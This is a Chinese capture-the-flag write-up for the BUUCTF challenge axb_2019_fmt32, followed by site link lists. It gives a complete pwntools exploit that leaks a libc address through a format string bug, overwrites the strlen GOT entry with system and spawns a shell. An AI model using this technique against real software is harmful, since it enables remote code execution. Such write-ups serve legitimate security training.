例行检查


是开 了部分relro,可以改写got表,然后栈不可执行不,

IDA分析


很简单的一个程序,会先初始化一些后续要用到的栈空间,然后让我们输入,字节数大小会有限制,然后再对我们的输入做一个长度判断,长度符合的话就会调用printf()函数,存在格式化字符串漏洞,程序里没有system,binsh字符串,我们这里就要先leak出地址,然后返回system即可,观察程序不难发现,我们无法溢出去控制返回地址,然而我们可以去改 某一函数的got表地址为system,从而去get shell,通过分析,strlen()函数是比较理想的,我们可以控制传参为/bin/sh从而去get shell.

exp:

我们发送如下payload,

payload = 'AAAAA'
payload += p32(str_len_got)
payload += p32(str_len_got+1)
payload += p32(str_len_got+2)
payload += '%150c'
payload += '%9$hhn'
payload += '%'
payload += str(hou + 80)
payload += 'c'
payload += '%10$hhn'
payload += '%'
payload += str(qian -hou)
payload += 'c'
payload += '%11$hhn'

这里我先输入了5个A,为了栈对齐,qian hou 是system地址的高低字节,
然后strlen()函数的got表地址就会被改成system地址:

这是在栈上布局的payload,这里0xf7字节不用修改,所以我只改了三个字节
执行完printf()后:

strlen()的got表地址就会只向system地址,我们再次发送’;sh’就可以get shell.
完整exp:

from pwn import *
#from LibcSearcher import *
elf = ELF('./axb_2019_fmt32')
#io = remote('node4.buuoj.cn',25468)
io = process('./axb_2019_fmt32')
libc = elf.libc
context(log_level='debug')str_len_got = 0x804A024io.recvuntil(':')payload = '%5$p'io.sendline(payload)io.recvuntil(':')
#_rtld_global
leak = int(io.recv(10),16)
libc_base = leak-0x1d95c5success('libc_base:'+hex(leak-0x1d95c5))
system = libc_base + libc.sym['system']
success('system:'+hex(leak-0x1d95c5+libc.sym['system']))
qian = (system >> 16) & 0xff
success('qian:'+hex(qian))
hou = (system >> 8) & 0xff
success('hou:'+hex(hou))
#0xb0   0xf7
payload = 'AAAAA'
payload += p32(str_len_got)
payload += p32(str_len_got+1)
payload += p32(str_len_got+2)
payload += '%150c'
payload += '%9$hhn'
payload += '%'
payload += str(hou + 80)
payload += 'c'
payload += '%10$hhn'
payload += '%'
payload += str(qian -hou)
payload += 'c'
payload += '%11$hhn'io.recvuntil(':')gdb.attach(io)
io.sendline(payload)io.recvuntil(':')io.sendline(';sh')io.interactive()


喜提flag!!!

BUUCTF【axb_2019_fmt32】相关推荐

  1. BUUCTF【ez_pz_hackover_2016】

    BUUCTF[ez_pz_hackover_2016] 例行检查 开了relro,其他保护机制都没开,扔到IDA中分析 漏洞分析 chall()函数中,有fgets(),但长度不够覆盖到返回地址,没法 ...

  2. CTF-web做题记录(狼组/BUUCTF)【一】

    CTF-web做题记录(狼组/BUUCTF)[一] WEB 1.ctf.wgpsec 你可能需要一部iphone 题目如下 考察点:user-agent,burp改为iphone的user-agent ...

  3. BUUCTF【Web】Knife

    进入靶场后发现提示菜刀和一句话木马,所以直接上菜刀 因为我没有安装菜刀但是用蚁剑也可以测试连接,URL地址是网址复制,密码是Syc 连接成功后直接登录了后台 在后台根目录下发现了flag文件,点击进行 ...

  4. BUUCTF-Crypto【1-20T】

    1.md5 WU:cmd5解码 [e00cf25ad42683b3df678c61f42c6bda]   2.Url编码 WU:url解码 [%66%6c%61%67%7b%61%6e%64%20%3 ...

  5. 【算法】位运算符基础之某CTF赛题使用Python与易语言纯算法还原

    什么是位运算? 程序中的所有数在计算机内存中都是以二进制的形式储存的.位运算就是直接对整数在内存中的二进制位进行操作.比如,and运算本来是一个逻辑运算符,但整数与整数之间也可以进行and运算.举个例 ...

  6. 【CentOS】利用Kubeadm部署Kubernetes (K8s)

    [CentOS]利用Kubeadm部署Kubernetes (K8s)[阅读时间:约10分钟] 一.概述 二.系统环境&项目介绍 1.系统环境 2.项目的任务要求 三.具体实验流程 1 系统准 ...

  7. 【Spring】框架简介

    [Spring]框架简介 Spring是什么 Spring是分层的Java SE/EE应用full-stack轻量级开源框架,以IOC(Inverse Of Control:反转控制)和AOP(Asp ...

  8. 【C#】类——里式转换

    类是由面对对象程序设计中产生的,在面向结构的程序设计例如C语言中是没有类这个概念的!C语言中有传值调用和传址调用的两种方式!在c语言中,主方法调用方法,通过传递参数等完成一些操作,其中比较常用的的数据 ...

  9. 【C#】Out与ref是干什么的?

    关于return: 1.最后没有写 return 语句的话,表示程序正常退出 2.不需要返回值时,存在return的作用 例子 void main() {return; //return退出该程序的作 ...

最新文章

  1. 美团确定进军自动驾驶,滴滴如何应对?
  2. instagram api java_如何在没有用户交互的情况下获得instagram access_token(新api)?...
  3. Linux Kernel TCP/IP Stack — L2 Layer — switchdev L2 Offload
  4. 微信公众平台开发(58)自定义菜单
  5. HashSet.contains
  6. AbstractAutowireCapableBeanFactory 类对容器生成的Bean 添加后置处理器
  7. jmeter连接mysql数据库驱动_十八、JMeter实战-JDBC连接MySQL数据库
  8. Eclipse 编辑代码字体的设置
  9. 【端口扫描工具】mascan核心使用
  10. ModuleNotFoundError: No module named ‘项目同名.settings’
  11. S4 HANA CO和FI自动集成:成本中心分配分摊业务实践-KSV5/KSU5
  12. dbt-tidb 1.2.0 尝鲜
  13. convolutional LSTM(convLSTM)的pytorch版本代码实现
  14. unity支持的模型数据格式,unity3d模型制作规范
  15. NLP预训练(PTMs)
  16. ubuntu 装在ssd_如何在Ubuntu中调整SSD以提高性能
  17. 声称AI存在意识,谷歌工程师遭解雇:违反保密协议
  18. ​史上解释CRC最清楚的文章
  19. macOS Catalina 10.15.6(19G2021)原版镜像CDR下载
  20. Android手机文件远程管理

热门文章

  1. 881@ snprintf函数使用总结
  2. 实习面试结束后的一些思考(已拿腾讯实习 offer)
  3. 阿里:DataWorks一站式大数据开发治理平台
  4. [渝粤教育] 重庆工程职业技术学院
  5. Linux学习:计算机概论
  6. Kubectl之陈述式资源管理方法基操
  7. 「数仓面试」如何确定主题域?
  8. 华东师范大学高可信夏令营 机试
  9. Python获取微信好友标签信息
  10. python画资本市场线_【投资组合理论】Python绘制上证50成分股有效前沿和CML